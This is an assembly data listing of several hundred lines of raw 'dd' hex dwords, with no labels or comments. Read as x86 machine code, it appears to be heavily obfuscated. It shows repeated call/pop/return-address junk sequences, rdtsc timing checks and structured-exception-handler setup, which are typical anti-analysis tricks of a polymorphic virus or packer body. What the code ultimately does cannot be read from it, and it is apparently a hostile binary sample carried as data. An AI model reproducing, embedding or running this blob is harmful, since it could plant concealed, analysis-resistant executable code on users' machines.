		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0FCC35343h
		dd 0BFFA118Ah, 783BEA28h, 21BD85C7h, 30603h, 0BD830000h
		dd 606A734h, 29840F00h,	0B3000000h, 3DE968h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD8BD4C3h, 60331FDh, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h
		dd 0E9831104h, 0EBE77504h, 81C08B00h, 52AD81CBh, 0CE873h
		dd 37F90000h, 0E9CADF3Eh, 0A22A3056h, 0BB6605F6h, 605B0F2Dh
		dd 2A298529h, 0B5030603h, 603208Dh, 0BDBD8361h,	3060321h
		dd 3C4850Fh, 8E90000h, 41000000h, 2535B99Ch, 83E5A2B3h
		dd 6A734BDh, 840F0006h,	3AAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 45C35747h, 57BBE972h, 0FF4B9125h
		dd 6A734B5h, 95FFFC06h,	6032E05h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 7AC35343h, 0B1ADB47Ch, 0D0EDC5D9h
		dd 8166F9D9h, 29686EC3h, 30C8585h, 28B58B06h, 6A0606A7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0F0ADC356h, 8E8A7314h, 0B25C3D75h, 9E95050h
		dd 86000000h, 1A872C4Ah, 8C0BFE45h, 6C75B5Fh, 10001h, 125B589h
		dd 8B500603h, 243489DEh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 5EC35141h, 0E1286E78h, 9589D739h, 6031F11h
		dd 0A734B5FFh, 95FF0606h, 6032F19h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 38C35141h, 0BD097B2Dh, 6030B05h
		dd 0A728B58Bh, 46BB0606h, 8B26DEF0h, 3311D85h, 8957B306h
		dd 0C486h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 7F6A66E9h, 0EF8166BDh, 958BEF0Fh
		dd 60331D1h, 0E904C283h, 7, 6C26F834h, 89039B8Bh, 840F2050h
		dd 0Ch,	7E9h, 2F299F00h, 0BB6B4803h, 0BBF3858Dh, 6A0606h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0EE264AC3h, 1942B0BCh, 8689DCEDh, 0B8h, 0EECB8152h
		dd 5F45AFB5h, 11E8006Ah, 0B4000000h, 9453EA9Dh,	0B5DF6F66h
		dd 25AA1C3Dh, 0A415E232h, 5E9h,	0D4D36B00h, 0FF5B9059h
		dd 6A734B5h, 0B70F6006h, 11E9C8h, 484E0000h, 5AD703CCh
		dd 60DDEB4Ch, 134A875Ch, 61AA7B5Fh, 323DBD8Bh, 95FF0603h
		dd 6031CB1h, 108DB589h,	8B960603h, 0E96050FBh, 5, 4AD8DD13h
		dd 0F4CEBF4Eh, 96615174h, 0EE9h, 0D2B97300h, 0FE170D90h
		dd 0A9AA98E5h, 0FFEDA6DDh, 6A734B5h, 6800F06h, 8B000000h
		dd 305D59Dh, 6595FF06h,	0BB060311h, 5E594FE9h, 1795BD83h
		dd 0F000603h, 3584h, 0E9B50100h, 96060331h, 0DCE1EBBBh
		dd 8B665071h, 6A96DEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B21D6C3h, 18C6BBDEh, 0B5FF5813h
		dd 606A734h, 12F5B509h,	95FF0603h, 6030661h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FC35242h, 0C3FC76B9h
		dd 0BE9CDh, 824E0000h, 141AD47Eh, 71088A9Dh, 34B5FFC5h
		dd 6A0606A7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 898CC357h, 313D58Dh, 0E195FF06h
		dd 8306030Ah, 3218DBDh,	840F0206h, 7Ah,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 0E2C35040h, 8A0FD4BBh
		dd 6, 1B7D8D89h, 858B0603h, 60301FDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 26C35545h, 0D7C1ED5Ch, 0C6F91A18h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 5BFA8BC3h, 0E38166ABh, 85C79887h,	60330B9h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 7AC35141h
		dd 0A7C0D1C7h, 45E9F8E2h, 0F8FFFFF4h, 6AC18Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 513BA4C3h, 95014BA2h, 6032511h, 2811858Dh, 0BD8B0603h
		dd 6031C51h, 1422BF50h,	489659Bh, 69BD8B24h, 6A06030Bh
		dd 19958900h, 6A060302h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8D12C53Ch, 7470085h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0C083ECD2h, 0D7816605h, 9589EAADh, 6032815h,	850F50h
		dd 89000000h, 0DA8B2404h, 840F006Ah, 6,	1079BD03h, 6A0603h
		dd 4AE42ABFh, 0D9BD8B57h, 0FF060322h, 30CC995h,	0FE906h
		dd 83DC0000h, 0C20B8414h, 0D3EE8780h, 583A14A9h, 478D8DFEh
		dd 89060697h, 32949BDh,	6AD1FF06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 33DEC353h
		dd 32395BDh, 91BD8306h,	106031Eh, 62850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 6095FFC3h, 87B272E4h, 6A9E9C70h, 60509002h, 0C1B86656h
		dd 90615EDCh, 520A32BFh, 0B195FF03h, 6A06031Ch,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 8CAAC351h, 34CC2BC2h, 0EDB390A2h, 0DA2E9h, 0E800h, 815D0000h
		dd 7470AEDh, 81665006h,	5F16CEF3h, 8DDBB70Fh, 6888985h
		dd 0E5852906h, 9006031Ah, 50D98B66h, 5959BF66h,	6810F90h
		dd 8B000000h, 3125D9Dh,	35FF6406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B1C35141h
		dd 7E9h, 410C9100h, 7D9F1637h, 258964h,	8B000000h, 1585FFD9h
		dd 6A06032Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0B9BC351h, 6060772Bh, 0C5D8D89h
		dd 860F0603h, 0
		dd 0C1816661h, 6A61A238h, 0FAB70FFFh, 13E9B5FFh, 9D2B0603h
		dd 6030C09h, 201595FFh,	47E90603h, 2B000001h, 312919Dh
		dd 0F00B006h, 0C87h, 68A0F00h, 89000000h, 3097DB5h, 0E970E606h
		dd 11h,	0FE95455Bh, 0D922DCDBh,	1C54A250h, 90560913h, 8171E4C1h
		dd 4F9BE0DFh, 0F613C5Fh, 10583h, 0F5F5100h, 0EBFC8B6h
		dd 0BA24C580h, 6, 2CDBD8Bh, 0C18B0603h,	1E799D8Bh, 0E8C10603h
		dd 0FEB70F04h, 25599D23h, 0F7660603h, 39C380E2h, 8BF5C82Bh
		dd 9D8B56D1h, 6032A69h,	0BE95Fh, 0BD8B0000h, 6031255h
		dd 83470BBBh, 41858B54h, 0F06031Ah, 0F52FAB7h, 284h, 5B616000h
		dd 5207C083h, 0FE8h, 891BD700h,	38BA3E98h, 0B530C7B3h
		dd 0B6B160A8h, 570DC781h, 5F5B550Bh, 5000C083h,	4810Fh
		dd 0BF660000h, 3B5BF567h, 25830FD0h, 8B000000h,	3325DBDh
		dd 0EE806h, 0CF250000h,	7C29041h, 0E4E90812h, 17DA4B75h
		dd 50E95Fh, 0EB810000h,	20D194C2h, 13AD8D8Bh, 0BD8B0603h
		dd 6032EB1h, 0E183FB8Bh, 33840F01h, 0E9000000h,	11h, 4952D6FAh
		dd 0E59EB0C8h, 0A765F78h, 0CEB40704h, 0ADA58357h, 0FE060313h
		dd 0B199D8Bh, 95890603h, 6031A41h, 4CD38166h, 0E9A0h, 0B58D0000h
		dd 606C7F5h, 6A8BCB80h,	0AE900h, 6F780000h, 8A484CF1h
		dd 80EEE2F5h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 9BCF1FC3h, 4D3B4037h
		dd 60C8EB39h, 0EAC98160h, 894BBFF8h, 31E2D8Dh, 0C5806106h
		dd 0BBB961B6h, 6A00000Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0DC72C350h,	0F96B162Bh
		dd 89BD8B33h, 8306031Bh, 0BE9FCE1h, 10000000h, 99B9B82Eh
		dd 0A5DE2B64h, 6AFC3710h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 81F5C352h, 0AA5FFFD7h
		dd 68C0F1Ah, 89000000h,	31449BDh, 6AC02B06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0B785C350h, 0FFD56DCBh, 2BFE8BCFh, 55006AD2h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 60EBD100h, 0A07A079Ah, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D5C35747h
		dd 892CECAFh, 32C45BDh,	0DE8B6606h, 4A1EBB66h, 880Dh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 958B6E36h, 60331D1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 31C35747h, 75A799FAh,	8B59182Ch, 301E18Dh
		dd 81B50906h, 5006031Ch, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0CE958h, 0FAED0000h, 7F83B52Dh, 5D639F9Ch
		dd 0E2BF04D7h, 830B509Ch, 31D65BDh, 840F0006h, 41h, 0F6FE94BBh
		dd 0B87Eh, 0BD090000h, 6031CBDh, 4D1C8D8Dh, 6A0603h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 6F47F6C3h, 9D8BE1FFh, 603038Dh, 0DACB8166h, 0BDBD83F0h
		dd 60321h, 4E0840Fh, 0BD830000h, 60321BDh, 0EE840F01h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3C6CC353h, 6DCE6A5Fh, 3595BB66h
		dd 1151B531h, 0BD830603h, 60321BDh, 80860F03h, 89000004h
		dd 31AF19Dh, 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 98AF01C3h, 0CE874h, 2C980000h, 0DDF5872Dh
		dd 1E05529Ah, 0FB8BA892h, 0D98C665Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 1EC35646h, 0BE4E6ADFh, 3E88B867h
		dd 0F04E180h, 0BD89DEB7h, 60305EDh, 840FC90Ah, 15Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 28C35747h, 6E8EF50Eh
		dd 0DF8B6666h, 13C1858Bh, 0B2600603h, 58C0F85h,	66000000h
		dd 0E0CCE881h, 79853361h, 6A06031Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A14BC351h
		dd 43004711h, 0BF6690C0h, 0E85036F2h, 11h, 958815BEh, 0D7BDF4C3h
		dd 0C4F2D964h, 0AF493370h, 0FE8B6690h, 830F905Fh, 6, 2481BD89h
		dd 6A0603h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Ah,	0D5C35545h, 96CEC5B0h, 4E8C966h, 0FF000000h, 53001F03h
		dd 11E956h, 0BCEA0000h,	8C14ABECh, 3B15C384h, 0A0680680h
		dd 5BB46D18h, 448B505Fh, 66560424h, 8B5FDE8Bh, 66606000h
		dd 11E8CE8Bh, 99000000h, 42521991h, 1854CEF3h, 9A6C27F1h
		dd 0B05A33EBh, 0F88B615Ah, 24448961h, 9D8B5804h, 6030159h
		dd 95FFD98Bh, 6031405h,	13A1BD89h, 0BF560603h, 0ACC7B29h
		dd 3485895Fh, 8B0606A7h, 322919Dh, 258E906h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0CEE992C3h, 0A121DD32h, 60BE470Fh, 8B61C18Bh, 6A72C85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D28372A7h, 2B362662h, 399D0B30h, 0C7060323h
		dd 1800h, 0D8BF0F00h, 0A730B58Bh, 6A0606h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B9053FC3h
		dd 49135C2Ch, 8B7AF74Fh, 3128D85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0C47EF2BBh
		dd 8930DE7Ch, 3268D9Dh,	0E9BD8B06h, 89060304h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0CE4EBA9Ch, 98D89C9h, 8B060301h, 313C185h, 999D8B06h
		dd 89060306h, 6A0446h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 94D460C3h, 6EB782B1h, 8E94Dh, 0F7350000h
		dd 554AF9E0h, 8A503C65h, 243489DDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 80C35646h, 8BE317D8h, 0C6BB6640h
		dd 2CB5FFD0h, 680606A7h, 89B64893h, 14E8h, 3F2AF700h, 0F87AEFC4h
		dd 109B9ABCh, 0D89E2DEDh, 0C741BCD5h, 11E93Eh, 9EA60000h
		dd 3B436903h, 0C15ACAE6h, 2582DF06h, 5F8021DAh,	6C240481h
		dd 6A7668BBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0E8CAC356h, 13h, 4FECA0BCh, 24EA5470h
		dd 0C7E1AE2Ah, 46913C1Eh, 50C40B36h, 0D75DDF81h, 5B5F2AD9h
		dd 0CE9h, 0B3633500h, 0DEF44E80h, 89431738h, 34858D70h
		dd 6A0606A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0B1C0C352h, 8F8D6116h,	9D8B3B00h
		dd 6031E69h, 0B8A0F50h,	0F000000h, 58Eh, 6961BB00h, 4891E1Ah
		dd 0E20EBF24h, 95FF724Ah, 6031405h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 30C35545h, 0A14A4DB2h, 1BD19589h
		dd 6A610603h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 6A96C353h, 5ED03CCFh, 312E24EEh
		dd 322E59Dh, 0BD85C706h
		dd 3060321h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0DB88C353h,	83F98B66h
		dd 6A734BDh, 840F0006h,	1Fh, 3A00DF81h,	2FE92485h, 81000000h
		dd 465A5DD3h, 9E971h, 43980000h, 0AD0D7618h, 507314F0h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0EB81C08Bh, 4543EC4Bh, 83FFB70Fh, 321BDBDh, 850F0306h
		dd 3F7h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	80C35242h, 0BD89D61Fh, 6032035h, 23418D31h, 4BF0603h
		dd 835E5794h, 6A734BDh,	840F0006h, 3BBh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 8DC35141h, 1D16C548h
		dd 0FDE14433h, 2258D89h, 0B5FF0603h, 606A734h, 10FD9D8Bh
		dd 95FF0603h, 6032E05h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0EEC35242h, 7D5FC523h, 0C47159A7h, 759D0BA9h
		dd 8B06030Bh, 6A728B5h,	719D2306h, 0C706030Ch, 1000106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0A397B143h, 0E38196F2h, 78287C4Bh, 38D0F96h
		dd 66000000h, 0B350DF8Bh, 6A9682h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0A549F9C3h, 8BA7B781h
		dd 32DA59Dh, 34B5FF06h,	0FF0606A7h, 32F1995h, 0BF665006h
		dd 8B5F7C3Eh, 6A728B5h,	1D858B06h, 8B060331h, 30FBD9Dh
		dd 0FE906h, 83EB0000h, 68050C95h, 55BBE9B9h, 2824E06Ch
		dd 0C48689C7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 3DFBC357h, 55036A32h
		dd 66692764h, 8BB088BBh, 331D195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0CE9DB09Dh
		dd 0E84FD2DEh, 0Fh, 717948B1h, 0C32E7DE4h, 8A5BBB87h, 5F02C086h
		dd 6A04C283h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8134C352h, 0EC6B4FD7h,	20508908h
		dd 0BDBD8B56h, 5B060313h, 0BBF3858Dh, 6A0606h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0ECC27FC3h, 8BCB8171h, 8992B3DFh, 0B886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A4FE74EFh, 53B2F629h, 2D6DBD8Bh, 6A5B0603h,	0FF59B700h
		dd 6A734B5h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0CD858961h, 0FF060320h, 31CB195h
		dd 68A0F06h, 3000000h, 330B5BDh, 52509606h, 0BE960h, 0FD9A0000h
		dd 64D10306h, 0A91906E3h, 8F0F22h, 61000000h, 0DEB7310Fh
		dd 0BF50585Ah, 4358ED0h, 51006A96h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 34B5FFE6h, 230606A7h
		dd 32979BDh, 6595FF06h,	6A060311h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0B88CC353h
		dd 7EE41C77h, 836D84C6h, 31795BDh, 840F0006h, 35h, 9D9D8B57h
		dd 5B06030Ah, 0BF606096h, 5A82973h, 0FE9h, 2BCDE200h, 923C71A1h
		dd 75902A2Eh, 6BA75F2Fh, 0DE8B6661h, 8B535061h,	8B965BF8h
		dd 328B19Dh, 34B5FF06h,	0E80606A7h, 10h, 4D877578h, 6C7A8B4Dh
		dd 9B350F7Fh, 0B004CD05h, 231BD8Bh, 8B5B0603h, 6195FFFBh
		dd 89060306h, 31F65BDh,	34B5FF06h, 6A0606A7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0FF0EC357h, 30AE195h, 8E906h, 0BDDE0000h, 0BB3CE809h
		dd 0BD83CABEh, 603218Dh, 3A840F02h, 9000000h, 3175985h
		dd 0FD858B06h, 0FC060301h, 6A0000C6h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2914C357h
		dd 0BAC7CDC6h, 8162A347h, 6B3E54F7h, 0B985C701h, 60330h
		dd 8B000000h, 0E98529DFh, 0E9060301h, 0FFFFF34Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h, 6879F381h
		dd 0C18B5E7Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0E1C35646h, 0A9F44F30h,	8D8B3FB7h, 3281185h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B1B01h, 6031D51h, 52506050h, 820Fh, 310F0000h, 310F5250h
		dd 585A585Ah, 8961FB8Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 668CB9C3h, 925DC781h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BF6678C3h, 6ABA36h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 52C35242h, 0A0C4A2A0h, 9E9E4h
		dd 37120000h, 39F19231h, 80DEE6C7h, 858DB5C3h, 6075699h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FC35343h
		dd 9D89D926h, 6030631h,	0F05C083h, 8B90DFBFh, 6E950F9h
		dd 0D5000000h, 0E79F403Bh, 6A90B0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 594DDBC3h
		dd 881F927Fh, 6A31BF9Fh, 12E800h, 87240000h, 67AAD642h
		dd 0BB62964h, 37B57944h, 73ADCEAAh, 6A5BF9h, 0CC995FFh
		dd 8B660603h, 478D8DDEh, 6A060697h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6D9BC352h
		dd 0DB814465h, 679AB056h, 29E18D29h, 0D1FF0603h, 1E20BF66h
		dd 1E91BD83h, 0F010603h, 6885h,	73BB6600h, 29026A7Fh, 323BD8Dh
		dd 0F565006h, 28Ah, 5F3EB700h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A9BFC350h
		dd 0BD8B4758h, 6032851h, 1CB195FFh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 91358DC3h
		dd 481403Dh, 0E8DE974h,	0E80000h, 5D000000h, 56A3ED81h
		dd 0BD890607h, 6030455h, 0E0BBFB8Bh, 8D23181Eh,	6888985h
		dd 0FFB70F06h, 4EC78166h, 6050902Eh, 2810Fh, 5A560000h
		dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 10B81FC3h, 0FF64D98Bh, 35h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 89B8617Bh, 3281DB5h,	39BD8B06h, 64060326h, 2589h, 0A8BB0000h
		dd 0FF08E0BCh, 32A1585h, 6AFF6A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4247C353h
		dd 0FB8BFC16h, 21ADB5FFh, 6A0603h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0A26B41C3h, 95FF1FADh
		dd 6032015h, 117E9h, 0E7816600h, 0B06AA9h, 385BD8Bh, 70E60603h
		dd 0BE9h, 7FA0E500h, 6156E8D3h,	8AE8F74Dh
		dd 0BE9h, 0B614C500h, 0CC96C448h, 0FCB21931h, 0DF8171E4h
		dd 7EE40A72h, 830F613Ch, 0D8h, 2C199D8Bh, 0B60F0603h, 25BD89C8h
		dd 0BA060326h, 6, 66F88B66h, 62B4EF81h,	0BD8BC18Bh, 603295Dh
		dd 0E904E8C1h, 6, 0A8C3290Bh, 0F7664C4Eh, 0FE1ABBE2h, 0C82B0C27h
		dd 11E9h, 0F7642500h, 0E9143679h, 2E1B6608h, 35253F51h
		dd 0BB66C339h, 0D18B497Fh, 2E9D6B3h, 8B000000h,	0BD858BF8h
		dd 51060302h, 0AF74E781h, 835F7725h, 0FB8B07C0h, 6600C083h
		dd 0B4AAEF81h, 830FD03Bh, 12h, 4EE9F5h,	9D310000h, 6030315h
		dd 2F9B589h, 8D8B0603h,	603293Dh, 0E183DE8Bh, 31840F01h
		dd 8B000000h, 329999Dh,	71B58906h, 8306032Ch, 3293DA5h
		dd 89F9FE06h, 302BD95h,	0DE906h, 0EEF0000h, 27205FD2h
		dd 406FC1D5h, 0E978F1C3h, 0
		dd 0D9A6B58Dh, 6A0606h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 1538FCC3h, 0B674A7A2h, 6850F68h
		dd 0F000000h, 86h, 6A006A00h, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0D070C356h,	7DFDFBE2h
		dd 800FA20Dh, 1, 0A141BBFCh, 95FF5CDBh,	6031FB9h, 0F8B9DE8Bh
		dd 6A000009h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 7254C352h, 9E76BB42h, 0E1836B8Fh
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 6F67BB73h, 0FC25D380h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 5AC35747h, 6137C2E0h, 0B8D1365Ch
		dd 0
		dd 0BADA8Ah, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 3D58C350h, 0D4C8CD01h
		dd 10E8B9FCh, 0A2000000h, 0F7DE2D2Dh, 6324A943h, 1DBAE510h
		dd 8B43E30Fh, 32E799Dh,	33AD5F06h, 3E8D1C2h, 4E983D0h
		dd 8B60F475h, 0EF8166D0h, 0D61212Ah, 88h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 0A8C35343h, 0F4BA0268h
		dd 267E44EAh, 8E9DAh, 2F210000h, 37E2B44Bh, 0BD8B5181h
		dd 60322B9h, 31D1958Bh,	6A0603h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0F24E56C3h, 698D3193h
		dd 106031Eh, 308FDBDh, 0E3816606h, 8D8B9E59h, 60301E1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 12C35040h
		dd 90435020h, 0B6DA88F4h, 0C28B5046h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 0BB58188Bh, 74DF588Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 76C35545h, 0BD89926Dh, 6030F7Dh
		dd 1D65BD83h, 0F000603h, 5E84h,	0B8FC00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 39EC350h, 0E63B4369h, 1C8D8DCAh, 6A06034Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0B486C353h, 0AD9D01FFh, 66060326h, 0FFA228BFh, 0CD9D8BE1h
		dd 8306031Ch, 321BDBDh,	840F0006h, 4B3h, 33D0DF81h, 0BD830066h
		dd 60321BDh, 0BB840F01h, 6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 65EDC357h
		dd 0AB825DC4h, 0BDBD83D2h, 3060321h, 456860Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9DD17AC3h, 0AB119DA5h, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 890999B4h
		dd 3248D9Dh, 0D98C6606h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 82C35545h, 0EF7F0C67h, 89F0BD4Fh, 31E71B5h
		dd 4E18006h, 68A0Fh, 0BD8B0000h, 6030CDDh, 840FC90Ah, 17Ah
		dd 5E9h, 9FC96000h, 858B18F6h, 60313C1h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 3CC35141h, 6BA3DE01h
		dd 23D92754h, 2DFD9D29h, 85330603h, 6031C79h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 77C35040h, 3998529h
		dd 66900603h, 0E950FE8Bh, 8, 5C26A84Bh,	18D7C1EDh, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F565C611h, 8D0F006Ah, 6, 919BD8Bh, 4E80603h, 0FF000000h
		dd 50001F03h, 0F525052h, 71A1BF31h, 585A40A1h, 0BF66310Fh
		dd 585ADD63h, 24448B50h, 2A04BB04h, 8B0D4Dh, 8E85250h
		dd 0B6000000h, 54412BADh, 0BF1EA4B5h, 1CE32D43h, 8B310F5Fh
		dd 89585AF8h, 52042444h, 5FDF8B66h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 1BAA52F1h
		dd 0CE02F412h, 0B529D2D5h, 6031ADDh, 140595FFh,	6A0603h
